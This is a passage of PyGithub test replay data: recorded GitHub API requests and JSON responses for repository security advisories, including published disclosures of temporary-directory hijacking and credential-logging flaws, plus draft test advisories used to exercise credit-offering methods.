"MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-f4jh-ww96-9h9j", "type": "GHSA" }, { "value": "CVE-2021-28100", "type": "CVE" } ], "state": "published", "created_at": "2021-03-22T23:38:20Z", "updated_at": "2021-03-30T14:57:18Z", "published_at": "2021-03-30T14:57:18Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "", "name": "Netflix/Priam" }, "vulnerable_version_range": "All", "patched_versions": "None", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "score": 6.2 }, "cwes": [ { "cwe_id": "CWE-377", "name": "Insecure Temporary File" } ], "cwe_ids": [ "CWE-377" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-j83w-7qr9-wv86", "cve_id": "CVE-2021-28099", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-j83w-7qr9-wv86", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-j83w-7qr9-wv86", "summary": "Netflix/hollow: Temporary directory hijacking", "description": "### Impact\r\nTemporary directory hijacking.\r\n\r\nThis vulnerability exists because Netflix/hollow will use files/directories that already exist on the system without first checking their permissions.\r\n\r\nThis vulnerability can be seen here:\r\nhttps://github.com/Netflix/hollow/blob/eeefe2454ed2efce60b8971e1a02d8f7375ea7fb/hollow/src/main/java/com/netflix/hollow/api/producer/fs/HollowFilesystemBlobStager.java#L112-L140\r\n\r\nSince the Files.exists(parent) is run before creating the directories, an attacker can pre-create these directories with wide permissions.\r\n\r\nAdditionally, since an insecure source of randomness is used, the file names to be created can be deterministically calculated.\r\n\r\nhttps://github.com/Netflix/hollow/blob/eeefe2454ed2efce60b8971e1a02d8f7375ea7fb/hollow/src/main/java/com/netflix/hollow/api/producer/fs/HollowFilesystemBlobStager.java#L110\r\n\r\nAs such, an attacker is fully able to control both the contents of the files and directories that HollowFilesystemBlobStager operates on.\r\n\r\n---\r\n\r\nThe custom CodeQL queries leveraged to find these this as well as their results can be found here:\r\n\r\nhttps://lgtm.com/query/1543383251073929777/\r\nhttps://lgtm.com/query/3142895023158674709/\r\n\r\n## Official Disclosure\r\n\r\nhttps://github.com/Netflix/security-bulletins/blob/master/advisories/nflx-2021-001.md\r\n\r\n## Fixed Version\r\n\r\nThis vulnerability has not been patched.\r\n", "severity": "high", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-j83w-7qr9-wv86", "type": "GHSA" }, { "value": "CVE-2021-28099", "type": "CVE" } ], "state": "published", "created_at": "2021-03-22T23:34:10Z", "updated_at": "2021-03-30T14:52:37Z", "published_at": "2021-03-30T14:52:37Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "maven", "name": "com.netflix.hollow:hollow" }, "vulnerable_version_range": "All", "patched_versions": "None", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N", "score": 7.8 }, "cwes": [], "cwe_ids": [], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-7gf3-89f6-823j", "cve_id": "CVE-2021-20202", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-7gf3-89f6-823j", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-7gf3-89f6-823j", "summary": "Keycloak: Local Temporary Directory Hijacking Vulnerability", "description": "Utilizing a custom CodeQL query written as a part of the GitHub Security Lab Bug Bounty program, I've unearthed a local temporary directory hijacking vulnerability.\r\n\r\nThis particular vulnerability impacts Keycloak/keycloak\r\n\r\nYou can see the custom CodeQL query utilized here:\r\nhttps://lgtm.com/query/7674880310425951666/\r\n\r\nThis particular vulnerability exists because on unix-like systems (not including MacOS) the system temporary directory is shared between all users.\r\nAs such, failure to correctly set file permissions and/or verify exclusive creation of directories can lead to either local information disclosure, or local file hijacking by another user.\r\n\r\nIn the worse case scenario, this can lead to a local privilege escalation vulnerability, as it did in this vulnerability I disclosed in Jetty:\r\nhttps://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6\r\n\r\nIn this case, it does not look like code is explicitly intended to be written to these directories. However, it does look like the GzipResourceEncodingProviderFactory.java is used as the creator of a cache. Thus, a malicious user can perform cache poisoning.\r\n\r\nAdditionally, DirExportProvider.java looks like it's being used to export information. This information can be corrupted by a different user.\r\n\r\nOne of many root causes here is that `mkdir` and `mkdirs` do not fail if the directory already exists. They merely return `false`. As such, an attacker can create these directories before the java process creates them, but with wider user permissions. Since these directory names are not in any way random, the attacker can simply create these directories ahead of Keycloak. When this happens, the java process doesn't complain that the directories already exist, `mkdir` and `mkdirs` simply return false.\r\n\r\nHowever, assuming that the java process is the first thing to create these directories, `mkdir` and `mkdirs` will only set the directory following the default umask (I believe); by default that means that these directories are created with the permissions `drwxr-xr-x`.\r\nThus allowing a malicious local user to read the contents of this temporary directory.\r\n\r\n## Official Disclosure\r\n\r\nhttps://access.redhat.com/security/cve/cve-2021-20202\r\n\r\n## Official Fix\r\nhttps://github.com/keycloak/keycloak/pull/7859/files", "severity": "medium", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-7gf3-89f6-823j", "type": "GHSA" }, { "value": "CVE-2021-20202", "type": "CVE" } ], "state": "published", "created_at": "2021-03-16T14:47:16Z", "updated_at": "2021-12-22T20:26:37Z", "published_at": "2021-12-22T20:26:37Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "maven", "name": "org.keycloak:keycloak-services" }, "vulnerable_version_range": "12.0.0 < 13.0.0", "patched_versions": "13.0.0", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N", "score": 6.3 }, "cwes": [ { "cwe_id": "CWE-377", "name": "Insecure Temporary File" } ], "cwe_ids": [ "CWE-377" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-jpcm-4485-69p7", "cve_id": "CVE-2021-21361", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-jpcm-4485-69p7", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-jpcm-4485-69p7", "summary": "Sensitive information disclosure via log in com.bmuschko:gradle-vagrant-plugin", "description": "### Impact\r\n\r\nThe `com.bmuschko:gradle-vagrant-plugin` Gradle plugin contains an information disclosure vulnerability due to the logging of the system environment variables.\r\n\r\nWhen this Gradle plugin is executed in public CI/CD, this can lead to sensitive credentials being exposed to malicious actors.\r\n\r\n### Patches\r\nFixed in version 3.0.0\r\n\r\n### References\r\n\r\n - https://github.com/bmuschko/gradle-vagrant-plugin/blob/292129f9343d00d391543fae06239e9b0f33db73/src/main/groovy/com/bmuschko/gradle/vagrant/process/GDKExternalProcessExecutor.groovy#L42-L44\r\n - https://github.com/bmuschko/gradle-vagrant-plugin/issues/19\r\n - https://github.com/bmuschko/gradle-vagrant-plugin/pull/20\r\n\r\n### For more information\r\n\r\nIf you have any questions or comments about this advisory:\r\n* Open an issue in [bmuschko/gradle-vagrant-plugin](https://github.com/bmuschko/gradle-vagrant-plugin)\r\n\r\n", "severity": "high", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-jpcm-4485-69p7", "type": "GHSA" }, { "value": "CVE-2021-21361", "type": "CVE" } ], "state": "published", "created_at": "2021-03-01T14:48:05Z", "updated_at": "2021-03-12T16:10:55Z", "published_at": "2021-03-08T17:44:33Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "maven", "name": "com.bmuschko:gradle-vagrant-plugin" }, "vulnerable_version_range": "0.6<, < 3.0.0", "patched_versions": "3.0.0", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "score": 7.4 }, "cwes": [ { "cwe_id": "CWE-532", "name": "Insertion of Sensitive Information into Log File" }, { "cwe_id": "CWE-779", "name": "Logging of Excessive Data" } ], "cwe_ids": [ "CWE-532", "CWE-779" ], "credits": [ { "login": "britter", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "britter", "id": 1327662, "node_id": "MDQ6VXNlcjEzMjc2NjI=", "avatar_url": "https://avatars.githubusercontent.com/u/1327662?v=4", "gravatar_id": "", "url": "https://api.github.com/users/britter", "html_url": "https://github.com/britter", "followers_url": "https://api.github.com/users/britter/followers", "following_url": "https://api.github.com/users/britter/following{/other_user}", "gists_url": "https://api.github.com/users/britter/gists{/gist_id}", "starred_url": "https://api.github.com/users/britter/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/britter/subscriptions", "organizations_url": "https://api.github.com/users/britter/orgs", "repos_url": "https://api.github.com/users/britter/repos", "events_url": "https://api.github.com/users/britter/events{/privacy}", "received_events_url": "https://api.github.com/users/britter/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] } ] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/RepositoryAdvisory.testOfferCredit.txt0000644000175100001660000001367614756101563025727 0ustar00runnerdockerhttps PATCH api.github.com None /repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"credits": [{"login": "octocat", "type": "analyst"}, {"login": "JLLeitschuh", "type": "reporter"}]} 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 30 Mar 2023 20:49:25 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"752c50ea4418d5a955c86978a94775b8963dba736b2e51ee34e8f219d61062cf"'), ('Last-Modified', 'Thu, 30 Mar 2023 19:31:33 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4862'), ('X-RateLimit-Reset', '1680209691'), ('X-RateLimit-Used', '138'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CF93:20BD:172867:2FBB1E:6425F5D4')] {"ghsa_id":"GHSA-wmmh-r9w4-hpxx","cve_id":"CVE-2023-00000","url":"https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx","html_url":"https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-wmmh-r9w4-hpxx","summary":"A test creating a GHSA via the API","description":"This is a detailed description of this advisories impact and patches.","severity":"high","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-wmmh-r9w4-hpxx","type":"GHSA"},{"value":"CVE-2023-00000","type":"CVE"}],"state":"draft","created_at":"2023-03-28T21:41:40Z","updated_at":"2023-03-30T19:31:33Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"a-package"},"vulnerable_version_range":">= 1.0.2","patched_versions":"1.0.5","vulnerable_functions":["function-name"]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","score":7.6},"cwes":[{"cwe_id":"CWE-400","name":"Uncontrolled Resource Consumption"},{"cwe_id":"CWE-501","name":"Trust Boundary Violation"}],"cwe_ids":["CWE-400","CWE-501"],"credits":[{"login":"octocat","type":"analyst"},{"login":"JLLeitschuh","type":"reporter"}],"credits_detailed":[{"user":{"login":"octocat","id":583231,"node_id":"MDQ6VXNlcjU4MzIzMQ==","avatar_url":"https://avatars.githubusercontent.com/u/583231?v=4","gravatar_id":"","url":"https://api.github.com/users/octocat","html_url":"https://github.com/octocat","followers_url":"https://api.github.com/users/octocat/followers","following_url":"https://api.github.com/users/octocat/following{/other_user}","gists_url":"https://api.github.com/users/octocat/gists{/gist_id}","starred_url":"https://api.github.com/users/octocat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/octocat/subscriptions","organizations_url":"https://api.github.com/users/octocat/orgs","repos_url":"https://api.github.com/users/octocat/repos","events_url":"https://api.github.com/users/octocat/events{/privacy}","received_events_url":"https://api.github.com/users/octocat/received_events","type":"User","site_admin":false},"type":"analyst","state":"pending"},{"user":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"type":"reporter","state":"accepted"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/RepositoryAdvisory.testOfferCredits.txt0000644000175100001660000002352714756101563026106 0ustar00runnerdockerhttps PATCH api.github.com None /repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"credits": []} 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 30 Mar 2023 21:42:30 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f4a77dc80164dd9e7a1f483b94c3db7ccbcbbccb996c1ed3d394cddf90b4d591"'), ('Last-Modified', 'Thu, 30 Mar 2023 19:31:33 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4923'), ('X-RateLimit-Reset', '1680213302'), ('X-RateLimit-Used', '77'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EAFF:0324:7AA77E8:FB2E11E:64260245')] {"ghsa_id":"GHSA-wmmh-r9w4-hpxx","cve_id":"CVE-2023-00000","url":"https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx","html_url":"https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-wmmh-r9w4-hpxx","summary":"A test creating a GHSA via the API","description":"This is a detailed description of this advisories impact and patches.","severity":"high","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-wmmh-r9w4-hpxx","type":"GHSA"},{"value":"CVE-2023-00000","type":"CVE"}],"state":"draft","created_at":"2023-03-28T21:41:40Z","updated_at":"2023-03-30T19:31:33Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"a-package"},"vulnerable_version_range":">= 1.0.2","patched_versions":"1.0.5","vulnerable_functions":["function-name"]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","score":7.6},"cwes":[{"cwe_id":"CWE-400","name":"Uncontrolled Resource Consumption"},{"cwe_id":"CWE-501","name":"Trust Boundary Violation"}],"cwe_ids":["CWE-400","CWE-501"],"credits":[],"credits_detailed":[]} https PATCH api.github.com None /repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 